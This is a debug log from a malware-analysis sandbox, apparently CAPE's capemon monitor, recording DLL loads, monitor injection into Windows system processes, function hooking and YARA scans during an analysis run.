2025-12-09 07:09:48,125 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,125 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,140 [root] DEBUG: 968: DLL loaded at 0x000007FEE86F0000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Transactions\0935f5dce0a38689b9507cb1938fe436\System.Transactions.ni (0xdb000 bytes).
2025-12-09 07:09:48,140 [root] DEBUG: 968: DLL loaded at 0x000007FEE8650000: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\61271ef982721d8c0c8162fc84735575\Microsoft.Management.Infrastructure.ni (0xa0000 bytes).
2025-12-09 07:09:48,140 [root] DEBUG: 968: api-rate-cap: GetSystemTimeAsFileTime hook disabled due to rate
2025-12-09 07:09:48,156 [root] DEBUG: 968: DLL loaded at 0x000007FEE8600000: C:\Windows\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions (0x4f000 bytes).
2025-12-09 07:09:48,156 [root] DEBUG: 968: DLL loaded at 0x000007FEE85A0000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics\568282207f7c6c41d18e9e38637dbe77\System.Numerics.ni (0x51000 bytes).
2025-12-09 07:09:48,156 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC90000.
2025-12-09 07:09:48,156 [root] DEBUG: 968: DLL loaded at 0x000007FEFCEC0000: C:\Windows\system32\secur32 (0xb000 bytes).
2025-12-09 07:09:48,171 [root] DEBUG: 968: api-rate-cap: NtClose hook disabled due to rate
2025-12-09 07:09:48,171 [root] DEBUG: 968: api-rate-cap: NtOpenKey hook disabled due to rate
2025-12-09 07:09:48,187 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,187 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FD30000.
2025-12-09 07:09:48,203 [root] DEBUG: 968: DLL loaded at 0x000007FEE83B0000: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.CSharp\badb4d0607cbbbd10c6b33a07635c05b\Microsoft.CSharp.ni (0x1ed000 bytes).
2025-12-09 07:09:48,203 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,203 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,203 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,203 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000000001CA50000.
2025-12-09 07:09:48,203 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000000001CA50000.
2025-12-09 07:09:48,203 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,218 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\uyhh2amx.eph.ps1 to files\6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b; Size is 1; Max size: 100000000
2025-12-09 07:09:48,218 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Temp\bzfyfzsr.33n.psm1 to files\6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b; Size is 1; Max size: 100000000
2025-12-09 07:09:48,234 [root] DEBUG: 968: DLL loaded at 0x000007FEFD200000: C:\Windows\system32\RpcRtRemote (0x14000 bytes).
2025-12-09 07:09:48,234 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,234 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,234 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC90000.
2025-12-09 07:09:48,234 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,234 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,249 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,249 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FD30000.
2025-12-09 07:09:48,249 [root] DEBUG: 968: caller_dispatch: Added region at 0x000007FE8FD60000 to tracked regions list (ntdll::NtAllocateVirtualMemory returns to 0x000007FE8FD60C3F, thread 2248).
2025-12-09 07:09:48,249 [root] DEBUG: 968: ProcessTrackedRegion: .NET cache region at 0x000007FE8FD60000 skipped
2025-12-09 07:09:48,249 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,249 [root] DEBUG: 968: .NET JIT native cache at 0x000007FE8FC90000: scans and dumps active.
2025-12-09 07:09:48,281 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,281 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC90000.
2025-12-09 07:09:48,296 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,296 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,312 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FD30000.
2025-12-09 07:09:48,390 [root] DEBUG: 968: DLL loaded at 0x000007FEE7690000: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\4a8acbb9132ca60f78667419f032025a\Microsoft.PowerShell.Commands.Utility.ni (0xd19000 bytes).
2025-12-09 07:09:48,390 [root] DEBUG: 968: DLL loaded at 0x000007FEF2C00000: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\29c26981c4b4347ca371002934f6f2ac\System.Configuration.Install.ni (0x2d000 bytes).
2025-12-09 07:09:48,406 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,406 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,406 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,406 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:48,468 [root] DEBUG: 968: DLL loaded at 0x000007FEE7440000: C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\90320822eb308768046478524b13b02d\Microsoft.PowerShell.Commands.Management.ni (0x244000 bytes).
2025-12-09 07:09:48,468 [lib.api.process] INFO: Monitor config for <Process 556 svchost.exe>: C:\tmpm1ij88hx\dll\556.ini
2025-12-09 07:09:48,484 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:09:48,484 [root] DEBUG: Loader: Injecting process 556 with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:48,484 [root] DEBUG: 556: Python path set to 'C:\Python38'.
2025-12-09 07:09:48,484 [root] INFO: Disabling sleep skipping.
2025-12-09 07:09:48,484 [root] DEBUG: 556: Dropped file limit defaulting to 100.
2025-12-09 07:09:48,484 [root] DEBUG: 556: parent_has_path: unable to get path for parent process 432
2025-12-09 07:09:48,484 [root] DEBUG: 556: YaraInit: Compiled rules loaded from existing file C:\tmpm1ij88hx\data\yara\capemon.yac
2025-12-09 07:09:48,484 [root] DEBUG: 556: YaraScan: Scanning 0x00000000FF1E0000, size 0xa052
2025-12-09 07:09:48,484 [root] DEBUG: 556: Monitor initialised: 64-bit capemon loaded in process 556 at 0x000007FEF30B0000, thread 1756, image base 0x00000000FF1E0000, stack from 0x0000000001846000-0x0000000001850000
2025-12-09 07:09:48,484 [root] DEBUG: 556: Commandline: C:\Windows\system32\svchost.exe -k DcomLaunch
2025-12-09 07:09:48,484 [root] DEBUG: 556: GetAddressByYara: ModuleBase 0x0000000077760000 FunctionName LdrpCallInitRoutine
2025-12-09 07:09:48,500 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-09 07:09:48,500 [root] DEBUG: 556: set_hooks: Unable to hook LockResource
2025-12-09 07:09:48,500 [root] DEBUG: 556: Hooked 605 out of 606 functions
2025-12-09 07:09:48,500 [root] INFO: Loaded monitor into process with pid 556
2025-12-09 07:09:48,500 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-09 07:09:48,500 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:48,500 [lib.api.process] INFO: Injected into 64-bit <Process 556 svchost.exe>
2025-12-09 07:09:50,515 [lib.api.process] INFO: Monitor config for <Process 2384 svchost.exe>: C:\tmpm1ij88hx\dll\2384.ini
2025-12-09 07:09:50,515 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:09:50,515 [root] DEBUG: Loader: Injecting process 2384 with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:50,515 [root] DEBUG: 2384: Python path set to 'C:\Python38'.
2025-12-09 07:09:50,515 [root] INFO: Disabling sleep skipping.
2025-12-09 07:09:50,515 [root] DEBUG: 2384: Dropped file limit defaulting to 100.
2025-12-09 07:09:50,515 [root] DEBUG: 2384: parent_has_path: unable to get path for parent process 432
2025-12-09 07:09:50,515 [root] DEBUG: 2384: YaraInit: Compiled rules loaded from existing file C:\tmpm1ij88hx\data\yara\capemon.yac
2025-12-09 07:09:50,515 [root] DEBUG: 2384: YaraScan: Scanning 0x00000000FF1E0000, size 0xa052
2025-12-09 07:09:50,531 [root] DEBUG: 2384: Monitor initialised: 64-bit capemon loaded in process 2384 at 0x000007FEF30B0000, thread 2172, image base 0x00000000FF1E0000, stack from 0x0000000001216000-0x0000000001220000
2025-12-09 07:09:50,531 [root] DEBUG: 2384: Commandline: C:\Windows\system32\svchost.exe -k netsvcs
2025-12-09 07:09:50,531 [root] DEBUG: 2384: GetAddressByYara: ModuleBase 0x0000000077760000 FunctionName LdrpCallInitRoutine
2025-12-09 07:09:50,546 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-09 07:09:50,546 [root] DEBUG: 2384: set_hooks: Unable to hook LockResource
2025-12-09 07:09:50,546 [root] DEBUG: 2384: Hooked 605 out of 606 functions
2025-12-09 07:09:50,546 [root] INFO: Loaded monitor into process with pid 2384
2025-12-09 07:09:50,546 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-09 07:09:50,546 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:50,546 [lib.api.process] INFO: Injected into 64-bit <Process 2384 svchost.exe>
2025-12-09 07:09:52,546 [root] DEBUG: 968: DLL loaded at 0x000007FEF6880000: C:\Windows\system32\wbem\wmiutils (0x21000 bytes).
2025-12-09 07:09:52,546 [root] DEBUG: 968: DLL loaded at 0x000007FEF7D30000: C:\Windows\system32\wbemcomn2 (0x77000 bytes).
2025-12-09 07:09:52,546 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FC20000.
2025-12-09 07:09:52,546 [root] DEBUG: 968: DLL loaded at 0x000007FEF7DB0000: C:\Windows\system32\wbem\wbemprox (0xe000 bytes).
2025-12-09 07:09:52,546 [root] DEBUG: 968: AllocationHandler: Allocation already in tracked region list: 0x000007FE8FD30000.
2025-12-09 07:09:52,546 [root] DEBUG: 968: DLL loaded at 0x000007FEE7410000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\wminet_utils (0x30000 bytes).
2025-12-09 07:09:52,578 [root] DEBUG: 2384: DLL loaded at 0x000007FEF8770000: C:\Windows\system32\VSSAPI (0x1b0000 bytes).
2025-12-09 07:09:52,578 [root] DEBUG: 2384: DLL loaded at 0x000007FEFAE90000: C:\Windows\system32\ATL (0x19000 bytes).
2025-12-09 07:09:52,578 [root] DEBUG: 2384: DLL loaded at 0x000007FEF86D0000: C:\Windows\system32\VssTrace (0x17000 bytes).
2025-12-09 07:09:52,578 [root] DEBUG: 2384: DLL loaded at 0x000007FEFB150000: C:\Windows\system32\samcli (0x14000 bytes).
2025-12-09 07:09:52,578 [root] DEBUG: 2384: DLL loaded at 0x000007FEFBBD0000: C:\Windows\system32\SAMLIB (0x1d000 bytes).
2025-12-09 07:09:52,593 [root] DEBUG: 2384: DLL loaded at 0x000007FEFB190000: C:\Windows\system32\netutils (0xc000 bytes).
2025-12-09 07:09:52,593 [root] DEBUG: 2384: DLL loaded at 0x000007FEFAC90000: C:\Windows\system32\es (0x67000 bytes).
2025-12-09 07:09:52,593 [root] DEBUG: 2384: DLL loaded at 0x000007FEFBAA0000: C:\Windows\system32\PROPSYS (0x12c000 bytes).
2025-12-09 07:09:52,593 [root] DEBUG: 2384: api-rate-cap: memcpy hook disabled due to rate
2025-12-09 07:09:52,609 [root] DEBUG: 2384: DLL loaded at 0x000007FEF6C70000: C:\Windows\system32\wbem\wbemcore (0x12c000 bytes).
2025-12-09 07:09:52,609 [root] DEBUG: 2384: DLL loaded at 0x000007FEFC390000: C:\Windows\system32\VERSION (0xc000 bytes).
2025-12-09 07:09:52,625 [root] DEBUG: 2384: DLL loaded at 0x000007FEF6B80000: C:\Windows\system32\wbem\esscli (0x62000 bytes).
2025-12-09 07:09:52,625 [root] DEBUG: 2384: DLL loaded at 0x000007FEF6FE0000: C:\Windows\system32\wbem\FastProx (0xd3000 bytes).
2025-12-09 07:09:52,625 [root] DEBUG: 2384: DLL loaded at 0x000007FEF6F60000: C:\Windows\system32\NTDSAPI (0x27000 bytes).
2025-12-09 07:09:52,625 [root] DEBUG: 2384: DLL loaded at 0x000007FEF68B0000: C:\Windows\system32\wbem\wbemsvc (0x13000 bytes).
2025-12-09 07:09:52,625 [root] DEBUG: 968: DLL loaded at 0x000007FEF68B0000: C:\Windows\system32\wbem\wbemsvc (0x13000 bytes).
2025-12-09 07:09:52,625 [root] DEBUG: 2384: DLL loaded at 0x000007FEFCC70000: C:\Windows\system32\authZ (0x2f000 bytes).
2025-12-09 07:09:52,640 [root] DEBUG: 2384: DLL loaded at 0x000007FEF6880000: C:\Windows\system32\wbem\wmiutils (0x21000 bytes).
2025-12-09 07:09:52,640 [root] DEBUG: 2384: set_hooks_by_export_directory: Hooked 0 out of 606 functions
2025-12-09 07:09:52,640 [root] DEBUG: 2384: DLL loaded at 0x000007FEF6820000: C:\Windows\system32\wbem\repdrvfs (0x5a000 bytes).
2025-12-09 07:09:52,640 [root] DEBUG: 2384: DLL loaded at 0x000007FEFCCB0000: C:\Windows\system32\Wevtapi (0x6d000 bytes).
2025-12-09 07:09:52,781 [root] DEBUG: 2384: set_hooks_by_export_directory: Hooked 0 out of 606 functions
2025-12-09 07:09:52,781 [root] DEBUG: 2384: DLL loaded at 0x000007FEF66E0000: C:\Windows\system32\wbem\wmiprvsd (0xb5000 bytes).
2025-12-09 07:09:52,781 [root] DEBUG: 2384: DLL loaded at 0x000007FEF6500000: C:\Windows\system32\NCObjAPI (0x12000 bytes).
2025-12-09 07:09:52,781 [root] DEBUG: 2384: OpenProcessHandler: Injection info created for process 556, handle 0x2c4: C:\Windows\System32\svchost.exe
2025-12-09 07:09:52,796 [root] DEBUG: 2384: DLL loaded at 0x000007FEE7390000: C:\Windows\system32\wbem\wbemess (0x71000 bytes).
2025-12-09 07:09:52,812 [root] DEBUG: 968: DLL loaded at 0x000007FEF6FE0000: C:\Windows\system32\wbem\fastprox (0xd3000 bytes).
2025-12-09 07:09:52,812 [root] DEBUG: 968: DLL loaded at 0x000007FEF6F60000: C:\Windows\system32\NTDSAPI (0x27000 bytes).
2025-12-09 07:09:52,859 [root] DEBUG: 556: CreateProcessHandler: Injection info set for new process 1144: C:\Windows\system32\wbem\wmiprvse.exe, ImageBase: 0x000000013FDB0000
2025-12-09 07:09:52,859 [root] INFO: Announced 64-bit process name: WmiPrvSE.exe pid: 1144
2025-12-09 07:09:52,859 [lib.api.process] INFO: Monitor config for <Process 1144 WmiPrvSE.exe>: C:\tmpm1ij88hx\dll\1144.ini
2025-12-09 07:09:52,859 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:09:52,875 [root] DEBUG: Loader: Injecting process 1144 (thread 880) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:52,875 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-09 07:09:52,875 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:52,875 [lib.api.process] INFO: Injected into 64-bit <Process 1144 WmiPrvSE.exe>
2025-12-09 07:09:52,875 [root] INFO: Announced 64-bit process name: WmiPrvSE.exe pid: 1144
2025-12-09 07:09:52,875 [lib.api.process] INFO: Monitor config for <Process 1144 WmiPrvSE.exe>: C:\tmpm1ij88hx\dll\1144.ini
2025-12-09 07:09:52,875 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:09:52,875 [root] DEBUG: Loader: Injecting process 1144 (thread 880) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:52,875 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-09 07:09:52,875 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:52,875 [lib.api.process] INFO: Injected into 64-bit <Process 1144 WmiPrvSE.exe>
2025-12-09 07:09:52,890 [root] DEBUG: 2384: DLL loaded at 0x000007FEE7370000: C:\Windows\system32\wbem\ncprov (0x17000 bytes).
2025-12-09 07:09:52,890 [root] DEBUG: 1144: Python path set to 'C:\Python38'.
2025-12-09 07:09:52,890 [root] DEBUG: 1144: Dropped file limit defaulting to 100.
2025-12-09 07:09:52,890 [root] INFO: Disabling sleep skipping.
2025-12-09 07:09:52,890 [root] DEBUG: 1144: Services hook set enabled
2025-12-09 07:09:52,890 [root] DEBUG: 1144: YaraInit: Compiled rules loaded from existing file C:\tmpm1ij88hx\data\yara\capemon.yac
2025-12-09 07:09:52,890 [root] DEBUG: 1144: Monitor initialised: 64-bit capemon loaded in process 1144 at 0x000007FEF30B0000, thread 880, image base 0x000000013FDB0000, stack from 0x0000000000160000-0x0000000000170000
2025-12-09 07:09:52,890 [root] DEBUG: 1144: Commandline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
2025-12-09 07:09:52,906 [root] DEBUG: 1144: Hooked 69 out of 69 functions
2025-12-09 07:09:52,906 [root] INFO: Loaded monitor into process with pid 1144
2025-12-09 07:09:52,906 [root] DEBUG: 1144: DLL loaded at 0x000007FEFD110000: C:\Windows\system32\CRYPTBASE (0xf000 bytes).
2025-12-09 07:09:52,906 [root] DEBUG: 1144: DLL loaded at 0x000007FEFB120000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2025-12-09 07:09:52,906 [root] DEBUG: 1144: DLL loaded at 0x000007FEFE460000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2025-12-09 07:09:52,906 [root] DEBUG: 1144: DLL loaded at 0x000007FEFE7F0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2025-12-09 07:09:52,906 [root] DEBUG: 1144: DLL loaded at 0x000007FEF7DB0000: C:\Windows\system32\wbem\wbemprox (0xe000 bytes).
2025-12-09 07:09:52,906 [root] DEBUG: 1144: DLL loaded at 0x000007FEFCA50000: C:\Windows\system32\CRYPTSP (0x18000 bytes).
2025-12-09 07:09:52,906 [root] DEBUG: 1144: DLL loaded at 0x000007FEFC750000: C:\Windows\system32\rsaenh (0x47000 bytes).
2025-12-09 07:09:52,906 [root] DEBUG: 1144: DLL loaded at 0x000007FEFD200000: C:\Windows\system32\RpcRtRemote (0x14000 bytes).
2025-12-09 07:09:52,921 [root] DEBUG: 1144: DLL loaded at 0x000007FEF68B0000: C:\Windows\system32\wbem\wbemsvc (0x13000 bytes).
2025-12-09 07:09:52,921 [root] DEBUG: 2384: OpenProcessHandler: Injection info created for process 1144, handle 0x56c: C:\Windows\System32\wbem\WmiPrvSE.exe
2025-12-09 07:09:52,921 [root] DEBUG: 1144: DLL loaded at 0x000007FEF6880000: C:\Windows\system32\wbem\wmiutils (0x21000 bytes).
2025-12-09 07:09:52,937 [root] DEBUG: 1144: DLL loaded at 0x000007FEE7350000: C:\Windows\system32\wbem\WMIPICMP (0x20000 bytes).
2025-12-09 07:09:52,937 [root] DEBUG: 1144: DLL loaded at 0x0000000074670000: C:\Windows\system32\icmp (0x3000 bytes).
2025-12-09 07:09:52,937 [root] DEBUG: 1144: DLL loaded at 0x000007FEFAB40000: C:\Windows\system32\iphlpapi (0x27000 bytes).
2025-12-09 07:09:52,937 [root] DEBUG: 1144: DLL loaded at 0x000007FEFABE0000: C:\Windows\system32\WINNSI (0xb000 bytes).
2025-12-09 07:09:52,937 [root] DEBUG: 1144: DLL loaded at 0x000007FEF99F0000: C:\Windows\system32\WSOCK32 (0x9000 bytes).
2025-12-09 07:09:52,937 [root] DEBUG: 1144: DLL loaded at 0x000007FEE7300000: C:\Windows\system32\PROVTHRD (0x4e000 bytes).
2025-12-09 07:09:52,937 [root] DEBUG: 1144: DLL loaded at 0x000007FEE72E0000: C:\Windows\system32\msvcirt (0x17000 bytes).
2025-12-09 07:09:52,953 [root] DEBUG: 1144: DLL loaded at 0x000007FEE7250000: C:\Windows\system32\wbemcomn (0x86000 bytes).
2025-12-09 07:09:52,953 [root] DEBUG: 1144: DLL loaded at 0x000007FEFC9F0000: C:\Windows\system32\mswsock (0x55000 bytes).
2025-12-09 07:09:52,953 [root] DEBUG: 1144: DLL loaded at 0x000007FEFC460000: C:\Windows\System32\wshtcpip (0x7000 bytes).
2025-12-09 07:09:52,968 [root] DEBUG: 1144: DLL loaded at 0x000007FEFC9E0000: C:\Windows\System32\wship6 (0x7000 bytes).
2025-12-09 07:09:52,968 [root] DEBUG: 1144: DLL loaded at 0x000007FEFC870000: C:\Windows\system32\DNSAPI (0x5b000 bytes).
2025-12-09 07:09:52,968 [root] DEBUG: 1144: DLL loaded at 0x000007FEF7FC0000: C:\Windows\system32\rasadhlp (0x8000 bytes).
2025-12-09 07:09:52,968 [root] DEBUG: 1144: DLL loaded at 0x000007FEFAAE0000: C:\Windows\System32\fwpuclnt (0x53000 bytes).
2025-12-09 07:09:59,390 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 2352, handle 0x608: C:\Windows\System32\taskeng.exe
2025-12-09 07:09:59,531 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 2612, handle 0x608: C:\Windows\System32\taskeng.exe
2025-12-09 07:09:59,828 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 1820, handle 0x60: C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe
2025-12-09 07:10:01,781 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 2736, handle 0x60: C:\Program Files (x86)\Microsoft Office\root\Office16\msoia.exe
2025-12-09 07:10:01,796 [root] DEBUG: 556: OpenProcessHandler: Injection info created for process 2560, handle 0x60: C:\Program Files (x86)\Microsoft Office\root\Office16\msoia.exe
2025-12-09 07:10:11,046 [root] DEBUG: 556: CreateProcessHandler: Injection info set for new process 920: C:\Windows\system32\DllHost.exe, ImageBase: 0x00000000FF840000
2025-12-09 07:10:11,046 [root] INFO: Announced 64-bit process name: dllhost.exe pid: 920
2025-12-09 07:10:11,046 [lib.api.process] INFO: Monitor config for <Process 920 dllhost.exe>: C:\tmpm1ij88hx\dll\920.ini
2025-12-09 07:10:11,046 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:10:11,062 [root] DEBUG: Loader: Injecting process 920 (thread 1044) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:10:11,062 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-09 07:10:11,062 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:10:11,062 [lib.api.process] INFO: Injected into 64-bit <Process 920 dllhost.exe>
2025-12-09 07:10:11,062 [root] INFO: Announced 64-bit process name: dllhost.exe pid: 920
2025-12-09 07:10:11,062 [lib.api.process] INFO: Monitor config for <Process 920 dllhost.exe>: C:\tmpm1ij88hx\dll\920.ini
2025-12-09 07:10:11,078 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:10:11,093 [root] DEBUG: Loader: Injecting process 920 (thread 1044) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:10:11,093 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-09 07:10:11,093 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:10:11,093 [lib.api.process] INFO: Injected into 64-bit <Process 920 dllhost.exe>
2025-12-09 07:10:11,109 [root] DEBUG: 920: Python path set to 'C:\Python38'.
2025-12-09 07:10:11,109 [root] DEBUG: 920: Dropped file limit defaulting to 100.
2025-12-09 07:10:11,125 [root] INFO: Disabling sleep skipping.
2025-12-09 07:10:11,125 [root] DEBUG: 920: YaraInit: Compiled rules loaded from existing file C:\tmpm1ij88hx\data\yara\capemon.yac
2025-12-09 07:10:11,125 [root] DEBUG: 920: YaraScan: Scanning 0x00000000FF840000, size 0x6012
2025-12-09 07:10:11,125 [root] DEBUG: 920: Monitor initialised: 64-bit capemon loaded in process 920 at 0x000007FEF30B0000, thread 1044, image base 0x00000000FF840000, stack from 0x0000000000245000-0x0000000000250000
2025-12-09 07:10:11,125 [root] DEBUG: 920: Commandline: C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
2025-12-09 07:10:11,125 [root] DEBUG: 920: GetAddressByYara: ModuleBase 0x0000000077760000 FunctionName LdrpCallInitRoutine
2025-12-09 07:10:11,140 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-09 07:10:11,140 [root] DEBUG: 920: set_hooks: Unable to hook LockResource
2025-12-09 07:10:11,140 [root] DEBUG: 920: Hooked 605 out of 606 functions
2025-12-09 07:10:11,156 [root] INFO: Loaded monitor into process with pid 920
2025-12-09 07:10:11,156 [root] DEBUG: 920: caller_dispatch: Added region at 0x00000000FF840000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x00000000FF8411B5, thread 1044).
2025-12-09 07:10:11,156 [root] DEBUG: 920: YaraScan: Scanning 0x00000000FF840000, size 0x6012
2025-12-09 07:10:11,156 [root] DEBUG: 920: ProcessImageBase: Main module image at 0x00000000FF840000 unmodified (entropy change 0.000000e+00)
2025-12-09 07:10:11,156 [root] DEBUG: 920: DLL loaded at 0x000007FEFD110000: C:\Windows\system32\CRYPTBASE (0xf000 bytes).
2025-12-09 07:10:11,156 [root] DEBUG: 920: DLL loaded at 0x000007FEFE7F0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2025-12-09 07:10:11,156 [root] DEBUG: 920: DLL loaded at 0x000007FEFEB70000: C:\Windows\system32\OLEAUT32 (0xdb000 bytes).
2025-12-09 07:10:11,156 [root] DEBUG: 920: DLL loaded at 0x000007FEFCA50000: C:\Windows\system32\CRYPTSP (0x18000 bytes).
2025-12-09 07:10:11,156 [root] DEBUG: 920: DLL loaded at 0x000007FEFC750000: C:\Windows\system32\rsaenh (0x47000 bytes).
2025-12-09 07:10:11,171 [root] DEBUG: 920: DLL loaded at 0x000007FEFD200000: C:\Windows\system32\RpcRtRemote (0x14000 bytes).
2025-12-09 07:10:11,171 [root] DEBUG: 920: DLL loaded at 0x000007FEFB9F0000: C:\Windows\system32\uxtheme (0x56000 bytes).
2025-12-09 07:10:11,171 [root] DEBUG: 920: DLL loaded at 0x000007FEFDC70000: C:\Windows\System32\wininet (0x4ac000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFD650000: C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFD2E0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFD660000: C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2025-12-09 07:10:11,187 [root] DEBUG: 920: DLL loaded at 0x000007FEFC390000: C:\Windows\system32\version (0xc000 bytes).
